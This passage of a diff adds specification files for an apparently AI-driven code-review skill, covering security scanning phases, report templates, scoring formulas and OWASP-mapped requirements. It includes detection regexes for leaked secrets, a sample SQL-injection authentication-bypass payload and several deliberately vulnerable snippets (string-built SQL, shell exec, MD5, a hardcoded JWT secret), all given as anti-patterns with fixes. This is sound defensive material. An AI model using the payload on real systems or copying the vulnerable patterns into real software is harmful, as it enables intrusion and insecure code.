+  /if\s*\(\s*user\s*\)\s*\{/,            // Missing auth check
+];
+
+// Check for missing authorization
+const authzPatterns = [
+  /router\.(get|post|put|delete)\(.*\)\s*=>/,  // No middleware
+  /app\.use\([^)]*\)\s*;(?!.*auth)/,           // Missing auth middleware
+];
+```
+
+#### C. Sensitive Data Exposure
+
+```javascript
+// Pattern: Sensitive data in logs/responses
+const sensitiveDataPatterns = [
+  /(password|secret|token|key)\s*:/i,    // Sensitive keys in objects
+  /console\.log\(.*password.*\)/i,       // Password in logs
+  /res\.send\(.*user.*password.*\)/,     // Password in response
+  /(api_key|apikey)\s*=\s*['"]/i,        // Hardcoded API keys
+];
+```
+
+#### D. Security Misconfiguration
+
+```javascript
+// Pattern: Insecure configurations
+const misconfigPatterns = [
+  /cors\(\{.*origin:\s*['"]?\*['"]?.*\}\)/, // CORS wildcard
+  /https?\s*:\s*false/,                   // HTTPS disabled
+  /helmet\(\)/,                            // Missing helmet config
+  /strictMode\s*:\s*false/,               // Strict mode disabled
+];
+```
+
+### Step 4: Language-Specific Checks
+
+**TypeScript/JavaScript**:
+```javascript
+const jsFindings = [
+  checkPrototypePollution(content),
+  checkEvalUsage(content),
+  checkUnsafeRegex(content),
+  checkWeakCrypto(content),
+];
+```
+
+**Python**:
+```javascript
+const pythonFindings = [
+  checkPickleVulnerabilities(content),
+  checkYamlUnsafeLoad(content),
+  checkSqlAlchemy(content),
+  checkFlaskSecurityHeaders(content),
+];
+```
+
+**Java**:
+```javascript
+const javaFindings = [
+  checkDeserialization(content),
+  checkXXE(content),
+  checkPathTraversal(content),
+  checkSQLInjection(content),
+];
+```
+
+**Go**:
+```javascript
+const goFindings = [
+  checkRaceConditions(content),
+  checkSQLInjection(content),
+  checkPathTraversal(content),
+  checkCryptoWeakness(content),
+];
+```
+
+## Output
+
+### Security Findings File
+
+Save to `.code-review/security-findings.json`:
+
+```json
+{
+  "scan_date": "2024-01-15T11:00:00Z",
+  "total_findings": 24,
+  "by_severity": {
+    "critical": 3,
+    "high": 8,
+    "medium": 10,
+    "low": 3
+  },
+  "by_category": {
+    "injection": 5,
+    "authentication": 3,
+    "data_exposure": 4,
+    "misconfiguration": 6,
+    "xss": 3,
+    "other": 3
+  },
+  "findings": [
+    {
+      "id": "SEC-001",
+      "type": "sql-injection",
+      "severity": "critical",
+      "file": "src/auth/user-service.ts",
+      "line": 145,
+      "column": 12,
+      "code": "const query = `SELECT * FROM users WHERE username = '${username}'`;",
+      "message": "SQL Injection vulnerability: User input directly concatenated in SQL query",
+      "cwe": "CWE-89",
+      "owasp": "A03:2021 - Injection",
+      "recommendation": {
+        "description": "Use parameterized queries to prevent SQL injection",
+        "fix_example": "const query = 'SELECT * FROM users WHERE username = ?';\ndb.execute(query, [username]);"
+      },
+      "references": [
+        "https://owasp.org/www-community/attacks/SQL_Injection",
+        "https://cwe.mitre.org/data/definitions/89.html"
+      ]
+    }
+  ]
+}
+```
+
+### Security Report
+
+Generate markdown report:
+
+```markdown
+# Security Analysis Report
+
+**Scan Date**: 2024-01-15 11:00:00
+**Files Analyzed**: 57 (Critical + High priority)
+**Total Findings**: 24
+
+## Severity Summary
+
+| Severity | Count | Percentage |
+|----------|-------|------------|
+| Critical | 3     | 12.5%      |
+| High     | 8     | 33.3%      |
+| Medium   | 10    | 41.7%      |
+| Low      | 3     | 12.5%      |
+
+## Critical Findings (Requires Immediate Action)
+
+### 🔴 [SEC-001] SQL Injection in User Authentication
+
+**File**: `src/auth/user-service.ts:145`
+**CWE**: CWE-89 | **OWASP**: A03:2021 - Injection
+
+**Vulnerable Code**:
+\`\`\`typescript
+const query = \`SELECT * FROM users WHERE username = '\${username}'\`;
+const user = await db.execute(query);
+\`\`\`
+
+**Issue**: User input (`username`) is directly concatenated into SQL query, allowing attackers to inject malicious SQL commands.
+
+**Attack Example**:
+\`\`\`
+username: ' OR '1'='1' --
+Result: SELECT * FROM users WHERE username = '' OR '1'='1' --'
+Effect: Bypasses authentication, returns all users
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`typescript
+// Use parameterized queries
+const query = 'SELECT * FROM users WHERE username = ?';
+const user = await db.execute(query, [username]);
+
+// Or use ORM
+const user = await User.findOne({ where: { username } });
+\`\`\`
+
+**References**:
+- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
+- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)
+
+---
+
+### 🔴 [SEC-002] Hardcoded JWT Secret
+
+**File**: `src/auth/jwt.ts:23`
+**CWE**: CWE-798 | **OWASP**: A07:2021 - Identification and Authentication Failures
+
+**Vulnerable Code**:
+\`\`\`typescript
+const token = jwt.sign(payload, 'mysecret123', { expiresIn: '1h' });
+\`\`\`
+
+**Issue**: JWT secret is hardcoded and weak (only 11 characters).
+
+**Recommended Fix**:
+\`\`\`typescript
+// Use environment variable with strong secret
+const token = jwt.sign(payload, process.env.JWT_SECRET, {
+  expiresIn: '1h',
+  algorithm: 'HS256'
+});
+
+// Generate strong secret (32+ bytes):
+// node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
+\`\`\`
+
+---
+
+## High Findings
+
+### 🟠 [SEC-003] Missing Input Validation
+
+**File**: `src/api/users.ts:67`
+**CWE**: CWE-20 | **OWASP**: A03:2021 - Injection
+
+...
+
+## Medium Findings
+
+...
+
+## Remediation Priority
+
+1. **Critical (3)**: Fix within 24 hours
+2. **High (8)**: Fix within 1 week
+3. **Medium (10)**: Fix within 1 month
+4. **Low (3)**: Fix in next release
+
+## Compliance Impact
+
+- **PCI DSS**: 4 findings affect compliance (SEC-001, SEC-002, SEC-008, SEC-011)
+- **HIPAA**: 2 findings affect compliance (SEC-005, SEC-009)
+- **GDPR**: 3 findings affect compliance (SEC-002, SEC-005, SEC-007)
+```
+
+## State Management
+
+```json
+{
+  "phase": "02-security-analysis",
+  "status": "completed",
+  "timestamp": "2024-01-15T11:15:00Z",
+  "input": {
+    "inventory_path": ".code-review/inventory.json",
+    "files_analyzed": 57
+  },
+  "output": {
+    "findings_path": ".code-review/security-findings.json",
+    "total_findings": 24,
+    "critical_count": 3,
+    "high_count": 8
+  }
+}
+```
+
+## Agent Instructions
+
+```markdown
+You are in Phase 2 of the Code Review workflow. Your task is to analyze code for security vulnerabilities.
+
+**Instructions**:
+1. Load file inventory from Phase 1
+2. Focus on Critical + High priority files
+3. Run security checks for:
+   - OWASP Top 10 vulnerabilities
+   - CWE Top 25 weaknesses
+   - Language-specific security patterns
+4. Use smart_search with mode="ripgrep" for pattern matching
+5. Use mcp__ace-tool__search_context for semantic security pattern discovery
+6. Classify findings by severity (Critical/High/Medium/Low)
+7. Generate security-findings.json and markdown report
+8. Proceed to Phase 3 (Best Practices Review)
+
+**Tools Available**:
+- mcp__ccw_tools__smart_search (pattern search)
+- mcp__ace-tool__search_context (semantic search)
+- Read (read file content)
+- Write (save findings and reports)
+- Grep (targeted pattern matching)
+
+**Output Requirements**:
+- security-findings.json with detailed findings
+- Security report in markdown format
+- Each finding must include: file, line, severity, CWE, OWASP, fix recommendation
+- State file for phase tracking
+```
+
+## Validation
+
+Before proceeding to Phase 3:
+
+- ✅ All Critical + High priority files analyzed
+- ✅ Findings categorized by severity
+- ✅ Each finding has fix recommendation
+- ✅ CWE and OWASP mappings included
+- ✅ Security report generated
+- ✅ State saved
+
+## Next Phase
+
+**Phase 3: Best Practices Review** - Analyze code quality, performance, and maintainability issues.

.claude/skills/code-reviewer/phases/03-best-practices-review.md

@@ -0,0 +1,36 @@
+# Phase 3: Best Practices Review
+
+## Objective
+
+Analyze code for best practices violations including code quality, performance issues, and maintainability concerns.
+
+## Input
+
+- **File Inventory**: From Phase 1 (`.code-review/inventory.json`)
+- **Security Findings**: From Phase 2 (`.code-review/security-findings.json`)
+- **User Arguments**:
+  - `--focus best-practices`: Best practices only mode
+  - `--check quality,performance,maintainability`: Specific areas to check
+
+## Process
+
+### Step 1: Code Quality Analysis
+
+Check naming conventions, function complexity, code duplication, and dead code detection.
+
+### Step 2: Performance Analysis
+
+Detect N+1 queries, inefficient algorithms, and memory leaks.
+
+### Step 3: Maintainability Analysis
+
+Check documentation coverage, test coverage, and dependency management.
+
+## Output
+
+- best-practices-findings.json
+- Markdown report with recommendations
+
+## Next Phase
+
+**Phase 4: Report Generation**

.claude/skills/code-reviewer/phases/04-report-generation.md

@@ -0,0 +1,278 @@
+# Phase 4: Report Generation
+
+## Objective
+
+Consolidate security and best practices findings into a comprehensive, actionable code review report.
+
+## Input
+
+- **Security Findings**: `.code-review/security-findings.json`
+- **Best Practices Findings**: `.code-review/best-practices-findings.json`
+- **File Inventory**: `.code-review/inventory.json`
+
+## Process
+
+### Step 1: Load All Findings
+
+```javascript
+const securityFindings = JSON.parse(
+  await Read({ file_path: '.code-review/security-findings.json' })
+);
+const bestPracticesFindings = JSON.parse(
+  await Read({ file_path: '.code-review/best-practices-findings.json' })
+);
+const inventory = JSON.parse(
+  await Read({ file_path: '.code-review/inventory.json' })
+);
+```
+
+### Step 2: Aggregate Statistics
+
+```javascript
+const stats = {
+  total_files_reviewed: inventory.total_files,
+  total_findings: securityFindings.total_findings + bestPracticesFindings.total_findings,
+  by_severity: {
+    critical: securityFindings.by_severity.critical,
+    high: securityFindings.by_severity.high + bestPracticesFindings.by_severity.high,
+    medium: securityFindings.by_severity.medium + bestPracticesFindings.by_severity.medium,
+    low: securityFindings.by_severity.low + bestPracticesFindings.by_severity.low,
+  },
+  by_category: {
+    security: securityFindings.total_findings,
+    code_quality: bestPracticesFindings.by_category.code_quality,
+    performance: bestPracticesFindings.by_category.performance,
+    maintainability: bestPracticesFindings.by_category.maintainability,
+  }
+};
+```
+
+### Step 3: Generate Comprehensive Report
+
+```markdown
+# Comprehensive Code Review Report
+
+**Generated**: {timestamp}
+**Scope**: {scope}
+**Files Reviewed**: {total_files}
+**Total Findings**: {total_findings}
+
+## Executive Summary
+
+{Provide high-level overview of code health}
+
+### Risk Assessment
+
+{Calculate risk score based on findings}
+
+### Compliance Status
+
+{Map findings to compliance requirements}
+
+## Detailed Findings
+
+{Merge and organize security + best practices findings}
+
+## Action Plan
+
+{Prioritized list of fixes with effort estimates}
+
+## Appendix
+
+{Technical details, references, configuration}
+```
+
+### Step 4: Generate Fix Tracking Checklist
+
+Create actionable checklist for developers:
+
+```markdown
+# Code Review Fix Checklist
+
+## Critical Issues (Fix Immediately)
+
+- [ ] [SEC-001] SQL Injection in src/auth/user-service.ts:145
+- [ ] [SEC-002] Hardcoded JWT Secret in src/auth/jwt.ts:23
+- [ ] [SEC-003] XSS Vulnerability in src/api/comments.ts:89
+
+## High Priority Issues (Fix This Week)
+
+- [ ] [SEC-004] Missing Authorization Check in src/api/admin.ts:34
+- [ ] [BP-001] N+1 Query Pattern in src/api/orders.ts:45
+...
+```
+
+### Step 5: Generate Metrics Dashboard
+
+```markdown
+## Code Health Metrics
+
+### Security Score: 68/100
+- Critical Issues: 3 (-30 points)
+- High Issues: 8 (-2 points each)
+
+### Code Quality Score: 75/100
+- High Complexity Functions: 2
+- Code Duplication: 5%
+- Dead Code: 3 instances
+
+### Performance Score: 82/100
+- N+1 Queries: 3
+- Inefficient Algorithms: 2
+
+### Maintainability Score: 70/100
+- Documentation Coverage: 65%
+- Test Coverage: 72%
+- Missing Tests: 5 files
+```
+
+## Output
+
+### Main Report
+
+Save to `.code-review/REPORT.md`:
+
+- Executive summary
+- Detailed findings (security + best practices)
+- Action plan with priorities
+- Metrics and scores
+- References and compliance mapping
+
+### Fix Checklist
+
+Save to `.code-review/FIX-CHECKLIST.md`:
+
+- Organized by severity
+- Checkboxes for tracking
+- File:line references
+- Effort estimates
+
+### JSON Summary
+
+Save to `.code-review/summary.json`:
+
+```json
+{
+  "report_date": "2024-01-15T12:00:00Z",
+  "scope": "src/**/*",
+  "statistics": {
+    "total_files": 247,
+    "total_findings": 69,
+    "by_severity": { "critical": 3, "high": 13, "medium": 30, "low": 23 },
+    "by_category": {
+      "security": 24,
+      "code_quality": 18,
+      "performance": 12,
+      "maintainability": 15
+    }
+  },
+  "scores": {
+    "security": 68,
+    "code_quality": 75,
+    "performance": 82,
+    "maintainability": 70,
+    "overall": 74
+  },
+  "risk_level": "MEDIUM",
+  "action_required": true
+}
+```
+
+## Report Template
+
+Full report includes:
+
+1. **Executive Summary**
+   - Overall code health
+   - Risk assessment
+   - Key recommendations
+
+2. **Security Findings** (from Phase 2)
+   - Critical/High/Medium/Low
+   - OWASP/CWE mappings
+   - Fix recommendations with code examples
+
+3. **Best Practices Findings** (from Phase 3)
+   - Code quality issues
+   - Performance concerns
+   - Maintainability gaps
+
+4. **Metrics Dashboard**
+   - Security score
+   - Code quality score
+   - Performance score
+   - Maintainability score
+
+5. **Action Plan**
+   - Immediate actions (critical)
+   - Short-term (1 week)
+   - Medium-term (1 month)
+   - Long-term (3 months)
+
+6. **Compliance Impact**
+   - PCI DSS findings
+   - HIPAA findings
+   - GDPR findings
+   - SOC 2 findings
+
+7. **Appendix**
+   - Full findings list
+   - Configuration used
+   - Tools and versions
+   - References
+
+## State Management
+
+```json
+{
+  "phase": "04-report-generation",
+  "status": "completed",
+  "timestamp": "2024-01-15T12:00:00Z",
+  "input": {
+    "security_findings": ".code-review/security-findings.json",
+    "best_practices_findings": ".code-review/best-practices-findings.json"
+  },
+  "output": {
+    "report": ".code-review/REPORT.md",
+    "checklist": ".code-review/FIX-CHECKLIST.md",
+    "summary": ".code-review/summary.json"
+  }
+}
+```
+
+## Agent Instructions
+
+```markdown
+You are in Phase 4 (FINAL) of the Code Review workflow. Generate comprehensive report.
+
+**Instructions**:
+1. Load security findings from Phase 2
+2. Load best practices findings from Phase 3
+3. Aggregate statistics and calculate scores
+4. Generate comprehensive markdown report
+5. Create fix tracking checklist
+6. Generate JSON summary
+7. Inform user of completion and output locations
+
+**Tools Available**:
+- Read (load findings)
+- Write (save reports)
+
+**Output Requirements**:
+- REPORT.md (comprehensive markdown report)
+- FIX-CHECKLIST.md (actionable checklist)
+- summary.json (machine-readable summary)
+- All files in .code-review/ directory
+```
+
+## Validation
+
+- ✅ All findings consolidated
+- ✅ Scores calculated
+- ✅ Action plan generated
+- ✅ Reports saved to .code-review/
+- ✅ User notified of completion
+
+## Completion
+
+Code review complete! Outputs available in `.code-review/` directory.

.claude/skills/code-reviewer/specs/best-practices-requirements.md

@@ -0,0 +1,346 @@
+# Best Practices Requirements Specification
+
+## Code Quality Standards
+
+### Naming Conventions
+
+**TypeScript/JavaScript**:
+- Classes/Interfaces: PascalCase (`UserService`, `IUserRepository`)
+- Functions/Methods: camelCase (`getUserById`, `validateEmail`)
+- Constants: UPPER_SNAKE_CASE (`MAX_RETRY_COUNT`, `API_BASE_URL`)
+- Private properties: prefix with `_` or `#` (`_cache`, `#secretKey`)
+
+**Python**:
+- Classes: PascalCase (`UserService`, `DatabaseConnection`)
+- Functions: snake_case (`get_user_by_id`, `validate_email`)
+- Constants: UPPER_SNAKE_CASE (`MAX_RETRY_COUNT`)
+- Private: prefix with `_` (`_internal_cache`)
+
+**Java**:
+- Classes/Interfaces: PascalCase (`UserService`, `IUserRepository`)
+- Methods: camelCase (`getUserById`, `validateEmail`)
+- Constants: UPPER_SNAKE_CASE (`MAX_RETRY_COUNT`)
+- Packages: lowercase (`com.example.service`)
+
+### Function Complexity
+
+**Cyclomatic Complexity Thresholds**:
+- **Low**: 1-5 (simple functions, easy to test)
+- **Medium**: 6-10 (acceptable, well-structured)
+- **High**: 11-20 (needs refactoring)
+- **Very High**: 21+ (critical, must refactor)
+
+**Calculation**:
+```
+Complexity = 1 (base) 
+  + count(if)
+  + count(else if)
+  + count(while)
+  + count(for)
+  + count(case)
+  + count(catch)
+  + count(&&)
+  + count(||)
+  + count(? :)
+```
+
+### Code Duplication
+
+**Thresholds**:
+- **Acceptable**: < 3% duplication
+- **Warning**: 3-5% duplication
+- **Critical**: > 5% duplication
+
+**Detection**:
+- Minimum block size: 5 lines
+- Similarity threshold: 85%
+- Ignore: Comments, imports, trivial getters/setters
+
+### Dead Code Detection
+
+**Targets**:
+- Unused imports
+- Unused variables/functions (not exported)
+- Unreachable code (after return/throw)
+- Commented-out code blocks (> 5 lines)
+
+## Performance Standards
+
+### N+1 Query Prevention
+
+**Anti-patterns**:
+```javascript
+// ❌ N+1 Query
+for (const order of orders) {
+  const user = await User.findById(order.userId);
+}
+
+// ✅ Batch Query
+const userIds = orders.map(o => o.userId);
+const users = await User.findByIds(userIds);
+```
+
+### Algorithm Efficiency
+
+**Common Issues**:
+- Nested loops (O(n²)) when O(n) possible
+- Array.indexOf in loop → use Set.has()
+- Array.filter().length → use Array.some()
+- Multiple array iterations → combine into one pass
+
+**Acceptable Complexity**:
+- **O(1)**: Ideal for lookups
+- **O(log n)**: Good for search
+- **O(n)**: Acceptable for linear scan
+- **O(n log n)**: Acceptable for sorting
+- **O(n²)**: Avoid if possible, document if necessary
+
+### Memory Leak Prevention
+
+**Common Issues**:
+- Event listeners without cleanup
+- setInterval without clearInterval
+- Global variable accumulation
+- Circular references
+- Large array/object allocations
+
+**Patterns**:
+```javascript
+// ❌ Memory Leak
+element.addEventListener('click', handler);
+// No cleanup
+
+// ✅ Proper Cleanup
+useEffect(() => {
+  element.addEventListener('click', handler);
+  return () => element.removeEventListener('click', handler);
+}, []);
+```
+
+### Resource Cleanup
+
+**Required Cleanup**:
+- Database connections
+- File handles
+- Network sockets
+- Timers (setTimeout, setInterval)
+- Event listeners
+
+## Maintainability Standards
+
+### Documentation Requirements
+
+**Required for**:
+- All exported functions/classes
+- Public APIs
+- Complex algorithms
+- Non-obvious business logic
+
+**JSDoc Format**:
+```javascript
+/**
+ * Validates user credentials and generates JWT token
+ * 
+ * @param {string} username - User's username or email
+ * @param {string} password - Plain text password
+ * @returns {Promise<{token: string, expiresAt: Date}>} JWT token and expiration
+ * @throws {AuthenticationError} If credentials are invalid
+ * 
+ * @example
+ * const {token} = await authenticateUser('john@example.com', 'secret123');
+ */
+async function authenticateUser(username, password) {
+  // ...
+}
+```
+
+**Coverage Targets**:
+- Critical modules: 100%
+- High priority: 90%
+- Medium priority: 70%
+- Low priority: 50%
+
+### Test Coverage Requirements
+
+**Coverage Targets**:
+- Unit tests: 80% line coverage
+- Integration tests: Key workflows covered
+- E2E tests: Critical user paths covered
+
+**Required Tests**:
+- All exported functions
+- All public methods
+- Error handling paths
+- Edge cases
+
+**Test File Convention**:
+```
+src/auth/login.ts
+  → src/auth/login.test.ts (unit)
+  → src/auth/login.integration.test.ts (integration)
+```
+
+### Dependency Management
+
+**Best Practices**:
+- Pin major versions (`"^1.2.3"` not `"*"`)
+- Avoid 0.x versions in production
+- Regular security audits (npm audit, snyk)
+- Keep dependencies up-to-date
+- Minimize dependency count
+
+**Version Pinning**:
+```json
+{
+  "dependencies": {
+    "express": "^4.18.0",    // ✅ Pinned major version
+    "lodash": "*",            // ❌ Wildcard
+    "legacy-lib": "^0.5.0"   // ⚠️ Unstable 0.x
+  }
+}
+```
+
+### Magic Numbers
+
+**Definition**: Numeric literals without clear meaning
+
+**Anti-patterns**:
+```javascript
+// ❌ Magic numbers
+if (user.age > 18) { }
+setTimeout(() => {}, 5000);
+buffer = new Array(1048576);
+
+// ✅ Named constants
+const LEGAL_AGE = 18;
+const RETRY_DELAY_MS = 5000;
+const BUFFER_SIZE_1MB = 1024 * 1024;
+
+if (user.age > LEGAL_AGE) { }
+setTimeout(() => {}, RETRY_DELAY_MS);
+buffer = new Array(BUFFER_SIZE_1MB);
+```
+
+**Exceptions** (acceptable magic numbers):
+- 0, 1, -1 (common values)
+- 100, 1000 (obvious scaling factors in context)
+- HTTP status codes (200, 404, 500)
+
+## Error Handling Standards
+
+### Required Error Handling
+
+**Categories**:
+- Network errors (timeout, connection failure)
+- Database errors (query failure, constraint violation)
+- Validation errors (invalid input)
+- Authentication/Authorization errors
+
+**Anti-patterns**:
+```javascript
+// ❌ Silent failure
+try {
+  await saveUser(user);
+} catch (err) {
+  // Empty catch
+}
+
+// ❌ Generic catch
+try {
+  await processPayment(order);
+} catch (err) {
+  console.log('Error');  // No details
+}
+
+// ✅ Proper handling
+try {
+  await processPayment(order);
+} catch (err) {
+  logger.error('Payment processing failed', { orderId: order.id, error: err });
+  throw new PaymentError('Failed to process payment', { cause: err });
+}
+```
+
+### Logging Standards
+
+**Required Logs**:
+- Authentication attempts (success/failure)
+- Authorization failures
+- Data modifications (create/update/delete)
+- External API calls
+- Errors and exceptions
+
+**Log Levels**:
+- **ERROR**: System errors, exceptions
+- **WARN**: Recoverable issues, deprecations
+- **INFO**: Business events, state changes
+- **DEBUG**: Detailed troubleshooting info
+
+**Sensitive Data**:
+- Never log: passwords, tokens, credit cards, SSNs
+- Hash/mask: emails, IPs, usernames (in production)
+
+## Code Structure Standards
+
+### File Organization
+
+**Max File Size**: 300 lines (excluding tests)
+**Max Function Size**: 50 lines
+
+**Module Structure**:
+```
+module/
+  ├── index.ts          # Public exports
+  ├── types.ts          # Type definitions
+  ├── constants.ts      # Constants
+  ├── utils.ts          # Utilities
+  ├── service.ts        # Business logic
+  └── service.test.ts   # Tests
+```
+
+### Import Organization
+
+**Order**:
+1. External dependencies
+2. Internal modules (absolute imports)
+3. Relative imports
+4. Type imports (TypeScript)
+
+```typescript
+// ✅ Organized imports
+import express from 'express';
+import { Logger } from 'winston';
+
+import { UserService } from '@/services/user';
+import { config } from '@/config';
+
+import { validateEmail } from './utils';
+import { UserRepository } from './repository';
+
+import type { User, UserCreateInput } from './types';
+```
+
+## Scoring System
+
+### Overall Score Calculation
+
+```
+Overall Score = (
+  Security Score × 0.4 +
+  Code Quality Score × 0.25 +
+  Performance Score × 0.2 +
+  Maintainability Score × 0.15
+)
+
+Security = 100 - (Critical × 30 + High × 2 + Medium × 0.5)
+Code Quality = 100 - (violations / total_checks × 100)
+Performance = 100 - (issues / potential_issues × 100)
+Maintainability = (doc_coverage × 0.4 + test_coverage × 0.4 + dependency_health × 0.2)
+```
+
+### Risk Levels
+
+- **LOW**: Score 90-100
+- **MEDIUM**: Score 70-89
+- **HIGH**: Score 50-69
+- **CRITICAL**: Score < 50

.claude/skills/code-reviewer/specs/quality-standards.md

@@ -0,0 +1,252 @@
+# Quality Standards
+
+## Overall Quality Metrics
+
+### Quality Score Formula
+
+```
+Overall Quality = (
+  Correctness × 0.30 +
+  Security × 0.25 +
+  Maintainability × 0.20 +
+  Performance × 0.15 +
+  Documentation × 0.10
+)
+```
+
+### Score Ranges
+
+| Range | Grade | Description |
+|-------|-------|-------------|
+| 90-100 | A | Excellent - Production ready |
+| 80-89 | B | Good - Minor improvements needed |
+| 70-79 | C | Acceptable - Some issues to address |
+| 60-69 | D | Poor - Significant improvements required |
+| 0-59 | F | Failing - Major issues, not production ready |
+
+## Review Completeness
+
+### Mandatory Checks
+
+**Security**:
+- ✅ OWASP Top 10 coverage
+- ✅ CWE Top 25 coverage
+- ✅ Language-specific security patterns
+- ✅ Dependency vulnerability scan
+
+**Code Quality**:
+- ✅ Naming convention compliance
+- ✅ Complexity analysis
+- ✅ Code duplication detection
+- ✅ Dead code identification
+
+**Performance**:
+- ✅ N+1 query detection
+- ✅ Algorithm efficiency check
+- ✅ Memory leak detection
+- ✅ Resource cleanup verification
+
+**Maintainability**:
+- ✅ Documentation coverage
+- ✅ Test coverage analysis
+- ✅ Dependency health check
+- ✅ Error handling review
+
+## Reporting Standards
+
+### Finding Requirements
+
+Each finding must include:
+- **Unique ID**: SEC-001, BP-001, etc.
+- **Type**: Specific issue type (sql-injection, high-complexity, etc.)
+- **Severity**: Critical, High, Medium, Low
+- **Location**: File path and line number
+- **Code Snippet**: Vulnerable/problematic code
+- **Message**: Clear description of the issue
+- **Recommendation**: Specific fix guidance
+- **Example**: Before/after code example
+
+### Report Structure
+
+**Executive Summary**:
+- High-level overview
+- Risk assessment
+- Key statistics
+- Compliance status
+
+**Detailed Findings**:
+- Organized by severity
+- Grouped by category
+- Full details for each finding
+
+**Action Plan**:
+- Prioritized fix list
+- Effort estimates
+- Timeline recommendations
+
+**Metrics Dashboard**:
+- Quality scores
+- Trend analysis (if historical data)
+- Compliance status
+
+**Appendix**:
+- Full findings list
+- Configuration details
+- Tool versions
+- References
+
+## Output File Standards
+
+### File Naming
+
+```
+.code-review/
+├── inventory.json              # File inventory
+├── security-findings.json      # Security findings
+├── best-practices-findings.json # Best practices findings
+├── summary.json                # Summary statistics
+├── REPORT.md                   # Main report
+├── FIX-CHECKLIST.md           # Action checklist
+└── state.json                  # Session state
+```
+
+### JSON Schema
+
+**Finding Schema**:
+```json
+{
+  "id": "string",
+  "type": "string",
+  "category": "security|code_quality|performance|maintainability",
+  "severity": "critical|high|medium|low",
+  "file": "string",
+  "line": "number",
+  "column": "number",
+  "code": "string",
+  "message": "string",
+  "recommendation": {
+    "description": "string",
+    "fix_example": "string"
+  },
+  "references": ["string"],
+  "cwe": "string (optional)",
+  "owasp": "string (optional)"
+}
+```
+
+## Validation Requirements
+
+### Phase Completion Criteria
+
+**Phase 1 (Code Discovery)**:
+- ✅ At least 1 file discovered
+- ✅ Files categorized by priority
+- ✅ Metadata extracted
+- ✅ Inventory JSON created
+
+**Phase 2 (Security Analysis)**:
+- ✅ All critical/high priority files analyzed
+- ✅ Findings have severity classification
+- ✅ CWE/OWASP mappings included
+- ✅ Fix recommendations provided
+
+**Phase 3 (Best Practices)**:
+- ✅ Code quality checks completed
+- ✅ Performance analysis done
+- ✅ Maintainability assessed
+- ✅ Recommendations provided
+
+**Phase 4 (Report Generation)**:
+- ✅ All findings consolidated
+- ✅ Scores calculated
+- ✅ Reports generated
+- ✅ Checklist created
+
+## Skill Execution Standards
+
+### Performance Targets
+
+- **Phase 1**: < 30 seconds per 1000 files
+- **Phase 2**: < 60 seconds per 100 files (security)
+- **Phase 3**: < 60 seconds per 100 files (best practices)
+- **Phase 4**: < 10 seconds (report generation)
+
+### Resource Limits
+
+- **Memory**: < 2GB for projects with 1000+ files
+- **CPU**: Efficient pattern matching (minimize regex complexity)
+- **Disk**: Use streaming for large files (> 10MB)
+
+### Error Handling
+
+**Graceful Degradation**:
+- If tool unavailable: Skip check, note in report
+- If file unreadable: Log warning, continue with others
+- If analysis fails: Report error, continue with next file
+
+**User Notification**:
+- Progress updates every 10% completion
+- Clear error messages with troubleshooting steps
+- Final summary with metrics and file locations
+
+## Integration Standards
+
+### Git Integration
+
+**Pre-commit Hook**:
+```bash
+#!/bin/bash
+ccw run code-reviewer --scope staged --severity critical,high
+exit $?  # Block commit if critical/high issues found
+```
+
+**PR Comments**:
+- Automatic review comments on changed lines
+- Summary comment with overall findings
+- Status check (pass/fail based on threshold)
+
+### CI/CD Integration
+
+**Requirements**:
+- Exit code 0 if no critical/high issues
+- Exit code 1 if blocking issues found
+- JSON output for parsing
+- Configurable severity threshold
+
+### IDE Integration
+
+**LSP Support** (future):
+- Real-time security/quality feedback
+- Inline fix suggestions
+- Quick actions for common fixes
+
+## Compliance Mapping
+
+### Supported Standards
+
+**PCI DSS**:
+- Requirement 6.5: Common coding vulnerabilities
+- Map findings to specific requirements
+
+**HIPAA**:
+- Technical safeguards
+- Map data exposure findings
+
+**GDPR**:
+- Data protection by design
+- Map sensitive data handling
+
+**SOC 2**:
+- Security controls
+- Map access control findings
+
+### Compliance Reports
+
+Generate compliance-specific reports:
+```
+.code-review/compliance/
+├── pci-dss-report.md
+├── hipaa-report.md
+├── gdpr-report.md
+└── soc2-report.md
+```

.claude/skills/code-reviewer/specs/security-requirements.md

@@ -0,0 +1,243 @@
+# Security Requirements Specification
+
+## OWASP Top 10 Coverage
+
+### A01:2021 - Broken Access Control
+
+**Checks**:
+- Missing authorization checks on protected routes
+- Insecure direct object references (IDOR)
+- Path traversal vulnerabilities
+- Missing CSRF protection
+- Elevation of privilege
+
+**Patterns**:
+```javascript
+// Missing auth middleware
+router.get('/admin/*', handler);  // ❌ No auth check
+
+// Insecure direct object reference
+router.get('/user/:id', async (req, res) => {
+  const user = await User.findById(req.params.id);  // ❌ No ownership check
+  res.json(user);
+});
+```
+
+### A02:2021 - Cryptographic Failures
+
+**Checks**:
+- Sensitive data transmitted without encryption
+- Weak cryptographic algorithms (MD5, SHA1)
+- Hardcoded secrets/keys
+- Insecure random number generation
+
+**Patterns**:
+```javascript
+// Weak hashing
+const hash = crypto.createHash('md5').update(password);  // ❌ MD5 is weak
+
+// Hardcoded secret
+const token = jwt.sign(payload, 'secret123');  // ❌ Hardcoded secret
+```
+
+### A03:2021 - Injection
+
+**Checks**:
+- SQL injection
+- NoSQL injection
+- Command injection
+- LDAP injection
+- XPath injection
+
+**Patterns**:
+```javascript
+// SQL injection
+const query = `SELECT * FROM users WHERE id = ${userId}`;  // ❌
+
+// Command injection
+exec(`git clone ${userRepo}`);  // ❌
+```
+
+### A04:2021 - Insecure Design
+
+**Checks**:
+- Missing rate limiting
+- Lack of input validation
+- Business logic flaws
+- Missing security requirements
+
+### A05:2021 - Security Misconfiguration
+
+**Checks**:
+- Default credentials
+- Overly permissive CORS
+- Verbose error messages
+- Unnecessary features enabled
+- Missing security headers
+
+**Patterns**:
+```javascript
+// Overly permissive CORS
+app.use(cors({ origin: '*' }));  // ❌
+
+// Verbose error
+res.status(500).json({ error: err.stack });  // ❌
+```
+
+### A06:2021 - Vulnerable and Outdated Components
+
+**Checks**:
+- Dependencies with known vulnerabilities
+- Unmaintained dependencies
+- Using deprecated APIs
+
+### A07:2021 - Identification and Authentication Failures
+
+**Checks**:
+- Weak password requirements
+- Permits brute force attacks
+- Exposed session IDs
+- Weak JWT implementation
+
+**Patterns**:
+```javascript
+// Weak bcrypt rounds
+bcrypt.hash(password, 4);  // ❌ Too low (min: 10)
+
